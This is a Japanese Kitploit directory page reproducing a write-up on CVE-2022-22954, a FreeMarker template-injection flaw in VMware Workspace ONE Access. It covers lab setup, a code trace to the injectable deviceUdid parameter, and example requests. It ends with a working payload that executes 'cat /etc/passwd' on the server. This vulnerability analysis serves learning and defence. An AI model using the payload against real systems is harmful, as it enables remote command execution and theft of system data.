Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22954 — CVE-2022-22954 アナリスト | Kitploit
ツール/GitHubGitHub/nguyenv1nk/cve-2022-22954
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubnguyenv1nk/cve-2022-22954

CVE-2022-22954

CVE-2022-22954 アナリスト

リポジトリを見る
14年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-22954 の分析

概要

Workspace ONE Access(ワークスペースをサービスとして提供するモデル)は、SaaS、Web アプリケーション、モバイルアプリケーション向けに多要素認証、シングルサインオン、条件付きアクセスを提供します。 CVE-2022-22954 は、以下の製品に存在するサーバーサイドテンプレートインジェクション(SSTI)の脆弱性です。

  • VMware Workspace ONE Access (Access): v21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  • VMware Identity Manager (vIDM): v3.3.6, 3.3.5, 3.3.4, および 3.3.3
  • VMware vRealize Automation (vRA): v8.x および 7.6
  • VMware Cloud Foundation (VCF): v4.x および 3.x
  • vRealize Suite Lifecycle Manager: 8.x

セットアップ

  1. VMware Workspace ONE Access Appliance バージョン 21.08.0.1 の OVA ファイルをダウンロードします。

  2. VMware Workstation でファイルを開きます。仮想マシンは NAT ネットワークに配置する必要があります。

  3. Networking Properties で、ホスト名(FQDN)を構成する必要があります。

  4. インストールが完了したら、https://{{hostname}}:8443/ にアクセスして、アプリケーションアカウントのパスワード、SSH アカウントのパスワード、アプリケーションのデータベースを構成します。 アプリケーションは https://{{hostname}}/ で実行されます。

  5. sshuser アカウントで仮想マシンにログインし、root アカウントに切り替えます。 アプリケーションのパスは /opt/vmware/horizon/workspace/ にあります。 アプリケーションのソースコードはディレクトリ /opt/vmware/horizon/workspacce/webapps にあります。

  6. ファイル /opt/vmware/horizon/workspace/bin/setenv.sh を確認すると、JAVA_OPTS 変数でリモートデバッグを構成できることがわかります。

ツールをダウンロード
  • -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n を JAVA_OPTS に追加し、サービスを再起動します。

    root@kitploit:~
     `systemctl restart horizon-workspace.service`
    
  • パス分析

    ホットフィックスファイル HW-154129-applyWorkaround.py をダウンロードします。

    手順の中に、templates/customError.ftl ファイルをアプリケーションから削除する手順があります。

    customError.ftl ファイルには eval 関数が存在します。errorObj の値を制御できる場合、Freemarker SSTI の脆弱性はここから悪用される可能性があります。

    クラス com.vmware.enusercatalog.ui.web.UiErrorController では、関数 handleGenericError が errorMessage 変数を介して errorObj に値を代入していることがわかります。

    引き続き、関数呼び出しとパラメータ errorMessage を追跡します。

    関数 handleUnauthorizedError

    関数 getErrorPage

    2 つの関数 sendError と sendUnhandledError では、errorMessage の値は属性 javax.servlet.error.message から取得されます。

    クラス com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver では、属性 javax.servlet.error.message”* が関数 resolverExeption 内で値として設定されます。

    関数 handleAnyGenericExeption にはアノテーション @ExeptionHandler が付与されています。

    クラス com.vmware.endusercatalog.ui.UiApplication では、@CommponentScan で指定されたパッケージの中に com.vmware.endusercatalog.auth が含まれています。

    => このパッケージ内の例外は、handleAnyGenericExeption 関数によって捕捉される可能性があります。

    com.vmware.endusercatalog.ui.config では、インターセプタ AuthContextPopilationInterceptor がパス /ui、/hub-ui、/hub-ui/byob、/logout、/ui/oauth/verify で追加されています。

    クラス com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor に移ると、関数 preHandle でアプリケーションは deviceUdid と deviceType の 2 つのパラメータを受け取り、関数 authContextBuilder を呼び出します。

    クラス com.vmware.endusercatalog.auth.interceptor.AuthContext では、条件 this.isValidRequest が満たされない場合、例外 InvalidAuthContextException が発生します。

    isValidRequest が満たされるには、this.deviceId と this.deviceType の 2 つのパラメータが同時に空であるか、同時に値を持っている必要があります。

    => 2 つのパラメータのうち 1 つだけに値を渡すと、ここでエラーが発生します。

    リクエストを送信します。

    root@kitploit:~
    GET /catalog-portal/ui/oauth/verify?deviceUdid=111 
    

    次のエラーが発生します。

    root@kitploit:~
    An unexpected error occurred while processing request with requestId: {0}.
    

    関数 com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController に戻ると、上記のエラーは必須パラメータ error が欠落しているために発生することがわかります。

    root@kitploit:~
        @GetMapping(
            value = {"/ui/oauth/verify"},
            params = {"error"}
        )
        @ApiOperation(
            value = "authorizeError",
            notes = ""
        )
        public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
            LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
            throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
        }
    

    再度リクエストを送信します。

    root@kitploit:~
    GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc 
    

    deviceUdid の値がレスポンスに表示されます。

    Freemarker の SSTI を引き起こすパラメータを挿入します。

    次の値でリクエストを送信します。

    root@kitploit:~
    deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
    

    エクスプロイト

    参考リンク

    • https://kb.vmware.com/s/article/88099
    • https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC/
    • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection